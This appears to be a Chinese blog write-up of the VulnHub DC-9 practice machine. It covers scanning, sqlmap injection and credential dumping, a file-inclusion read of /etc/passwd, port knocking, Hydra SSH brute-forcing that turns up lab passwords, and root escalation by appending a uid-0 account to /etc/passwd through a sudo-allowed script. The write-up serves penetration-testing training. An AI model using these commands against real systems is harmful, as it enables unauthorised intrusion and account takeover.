vulnhub DC9——实战通关详细思路

目录

(一)环境搭建

 (二)主机发现

1、nmap

 2、netdiscover

 3、arp-scan -l

 (二)端口扫描

(三)数据库

0x01  访问80端口:

0x02 扫描目录:

0x03  注入

0x04 sqlmap

 0x05 密码爆破

0x06 尝试另一个库

 (四)web后台

 访问:

(五) Hydra爆破SSH密码

分析

 敲门

 22 port

 (六)再次hydra密码爆破

1、得到三个用户名和密码,尝试登录

2、登录以后,权限提升

 (七)提权

0x01 查看文件属性

0x02 执行

0x03 查找源代码

0x04 生成密码

0x05 写入到临时文件

0x06 追加执行


(一)环境搭建


在官网上下载.ova,直接打开就可以了。

 打开页面

 (二)主机发现


1、nmap

nmap -sP 192.168.110.1/24

 2、netdiscover

netdiscover -i eth0 -r 192.168.110.1/24

 3、arp-scan -l

(前二个命令没有错误,我环境没有搭好)

 (二)端口扫描


我们在打这样的镜像第二步,一般就是端口扫描,但是如果面对的是真实的网站,先判断是不是web,如果不是找是不是有app程序,实在不行,就要进行资产的信息收集。

 nmap -sC -sV -oA dc-9 192.168.1.136

(三)数据库


0x01  访问80端口:


0x02 扫描目录:


nikto -host 192.166.1.136

 查看网站源码,目录扫描都没有得到有价值的信息(dirb http://192.168.1.136

0x03  注入


  •  查询到了所有的数据

查看网络情况,输入点url

0x04 sqlmap


1、--dbs

sqlmap -u "http://192.168.1.136/results.php" --data "search=1" --dbs

 2、--tables

 sqlmap -u "http://192.168.1.136/results.php" --data "search=1" -D users --tables

 3、--dump

 0x05 密码爆破


  1. 用户名做成user-dict字典
  2. 密码做成pass-dict字典
  3. 找到url

wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.1.136/manage.php?
username=FUZZ&password=FUZ2Z "
实际上,没有正确的用户名和密码。

0x06 尝试另一个库


 sqlmap -u "http://192.168.1.136/results.php" --data "search=1" -D Staff --tables

 我们来找一下Users表

sqlmap -u "http://192.168.1.136/results.php" --data "search=1" -D Staff -T Users --dump

 尝试登入:

 成功进入后台

 (四)web后台


 在Manage里面找到File does not exist,不难想到LIF漏洞

用wfuzz跑字典,先找到cookie

 payload:

wfuzz -b 'PHPSESSID=cq37qk0rm79oh8vtgk2h56'  -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.136/manage.php?FUZZ=index.php

再过滤一下:

wfuzz -b 'PHPSESSID: cq37qk0rm79oh8vtgk2h56lq8p' --hw 100  -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.136/manage.php?FUZZ=index.php

结果什么都没有。此路不通!

沉默了一会,决定找/etc/passwd

wfuzz -b 'PHPSESSID=cq37qk0rm79oh8vtgk2h56lq8p' --hw 100  -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.1.136/manage.php?FUZZ=../../../../../../../../../etc/passwd

 访问:

http://192.168.1.136/manage.php?file=../../../../../../../etc/passwd

(五) Hydra爆破SSH密码


尝试使用Hydra爆破SSH,结果提示连接被拒绝……

 hydra -L user-dict -P pass-dict 192.168.1.136 ssh

分析

  1. 端口被限制(防火墙)
  2. 用户被限制登录
  3. 运行了knockd服务

knocked服务,博主之前没有接触过,再谷歌上找了半天

如何使用knockd让黑客看不见你的服务器? - 知乎

[原创]安全系列之端口敲门服务(Port Knocking for Ubuntu 14.04 Server) - wsjhk - 博客园

那么我们就尝试访问这个端口:

 敲门


nmap -p 7469 192.168.1.136
nmap -p 8475 192.168.1.136
nmap -p 9842 192.168.1.136

 22 port


 nmap -p22 192.168.1.136

 刚刚那个方式没有打开现在开了。

 (六)再次hydra密码爆破


hydra -L user-dict -P pass-dict 192.168.1.136 ssh

爆破出来有3个用户可用,chandlerb\UrAG0D!joeyt\Passw0rdjanitor\Ilovepeepee

1、得到三个用户名和密码,尝试登录


 ssh janitor@192.168.142.139 Ilovepeepee
 ssh joeyt@192.168.142.139 Passw0rd
 ssh chandlerb@192.168.142.139 UrAG0D!

2、登录以后,权限提升


思路

  • 查看用户文件         ls -a
  • 查看root权限          sudo -l
  • 查看历史命令         history
  • 内核漏洞                uname -a

依次登录3个用户,最终在用户janitor的目录下找到了隐藏文件;

 我们再用新得到的password,爆破新的username

 

  • sudo -l
发现可以无密码 root 身份运行 test 脚本

 (七)提权


0x01 查看文件属性


file /opt/devstuff/dist/test/test

0x02 执行


先进入文件,进行信息收集

0x03 查找源代码


 从根目录开始找name=test.py

 find / -name "test.py" 2>/dev/null

解释:2代表linux OS上面的标准错误,即忽略标准错误

 这代码很容易理解,先读入文件,再追加到第二个文本文件里面去,这里利用的思路非常多写个后门,连一下,或者说写个定时任务反弹连接一下......我打算写入一个自定义的root身份,再进行登入

 

第一位是username;第二位进行了加密,在/etc/shadow;第三位uid;第四位gid;第五位是该用户的描述;第六位是用户的工作路径;第七位是命令解释程序

0x04 生成密码


由于这个x不是随便就可以添加的,所以我们自己独自生成一个:

 openssl passwd -1 -salt admin 123456
  • -1 的意思是使用md5加密算法
  • -salt 自动插入一个随机数作为文件内容加密
  • admin 123456 用户名和密码

0x05 写入到临时文件


 echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

注意:一般进行提权都会写到临时文件里面,因为我们有这个权限,比如说vulnhub prime1通关提权详细思路_jinyouxin的博客-CSDN博客

0x06 追加执行


再进入该目录下

 cd /opt/devstuff/dist/test/
追加 root 权限的用户
 sudo ./test /tmp/passwd /etc/passwd

 .什么的就是执行该程序。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值